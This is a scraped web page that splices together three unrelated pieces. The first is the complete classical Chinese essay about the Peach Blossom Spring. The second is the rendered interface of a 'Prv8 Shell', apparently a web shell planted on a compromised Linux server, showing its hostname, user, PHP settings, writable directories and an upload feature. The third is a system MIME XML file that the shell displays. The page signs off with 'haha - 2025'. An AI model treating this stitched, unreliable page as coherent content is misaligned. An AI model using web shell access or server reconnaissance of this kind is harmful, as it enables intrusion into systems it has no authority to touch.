晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/mime/application/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/mime/application/pgp-keys.xml
<?xml version="1.0" encoding="utf-8"?>
<mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="application/pgp-keys">
  <!--Created automatically by update-mime-database. DO NOT EDIT!-->
  <comment>PGP keys</comment>
  <comment xml:lang="ar">مفاتيح PGP</comment>
  <comment xml:lang="ast">Claves PGP</comment>
  <comment xml:lang="az">PGP açarları</comment>
  <comment xml:lang="be@latin">Klučy PGP</comment>
  <comment xml:lang="bg">Ключове — PGP</comment>
  <comment xml:lang="ca">claus PGP</comment>
  <comment xml:lang="cs">klíče PGP</comment>
  <comment xml:lang="cy">Allweddi PGP</comment>
  <comment xml:lang="da">PGP-nøgler</comment>
  <comment xml:lang="de">PGP-Schlüssel</comment>
  <comment xml:lang="el">Κλειδιά PGP</comment>
  <comment xml:lang="en_GB">PGP keys</comment>
  <comment xml:lang="eo">PGP-ŝlosiloj</comment>
  <comment xml:lang="es">claves PGP</comment>
  <comment xml:lang="eu">PGP giltzak</comment>
  <comment xml:lang="fi">PGP-avainrengas</comment>
  <comment xml:lang="fo">PGP lyklar</comment>
  <comment xml:lang="fr">clés PGP</comment>
  <comment xml:lang="ga">eochracha PGP</comment>
  <comment xml:lang="gl">Chaves PGP</comment>
  <comment xml:lang="he">מפתחות PGP</comment>
  <comment xml:lang="hr">PGP ključevi</comment>
  <comment xml:lang="hu">PGP-kulcs</comment>
  <comment xml:lang="ia">Claves PGP</comment>
  <comment xml:lang="id">Kunci PGP</comment>
  <comment xml:lang="it">Chiavi PGP</comment>
  <comment xml:lang="ja">PGP 鍵</comment>
  <comment xml:lang="kk">PGP кілттері</comment>
  <comment xml:lang="ko">PGP 키</comment>
  <comment xml:lang="lt">PGP raktai</comment>
  <comment xml:lang="lv">PGP atslēgas</comment>
  <comment xml:lang="ms">Kekunci PGP</comment>
  <comment xml:lang="nb">PGP-nøkler</comment>
  <comment xml:lang="nl">PGP-sleutels</comment>
  <comment xml:lang="nn">PGP-nøkler</comment>
  <comment xml:lang="oc">claus PGP</comment>
  <comment xml:lang="pl">Klucze PGP</comment>
  <comment xml:lang="pt">chaves PGP</comment>
  <comment xml:lang="pt_BR">Chaves PGP</comment>
  <comment xml:lang="ro">Chei PGP</comment>
  <comment xml:lang="ru">Ключи PGP</comment>
  <comment xml:lang="sk">Kľúče PGP</comment>
  <comment xml:lang="sl">Datoteka ključa PGP</comment>
  <comment xml:lang="sq">Kyçe PGP</comment>
  <comment xml:lang="sr">ПГП кључеви</comment>
  <comment xml:lang="sv">PGP-nycklar</comment>
  <comment xml:lang="tr">PGP anahtarları</comment>
  <comment xml:lang="uk">ключі PGP</comment>
  <comment xml:lang="vi">Khoá PGP</comment>
  <comment xml:lang="zh_CN">PGP 密钥</comment>
  <comment xml:lang="zh_TW">PGP 鑰匙</comment>
  <acronym>PGP</acronym>
  <expanded-acronym>Pretty Good Privacy</expanded-acronym>
  <sub-class-of type="text/plain"/>
  <generic-icon name="text-x-generic"/>
  <glob pattern="*.skr"/>
  <glob pattern="*.pkr"/>
  <glob weight="10" pattern="*.asc"/>
  <glob pattern="*.pgp"/>
  <glob pattern="*.gpg"/>
</mime-type>

haha - 2025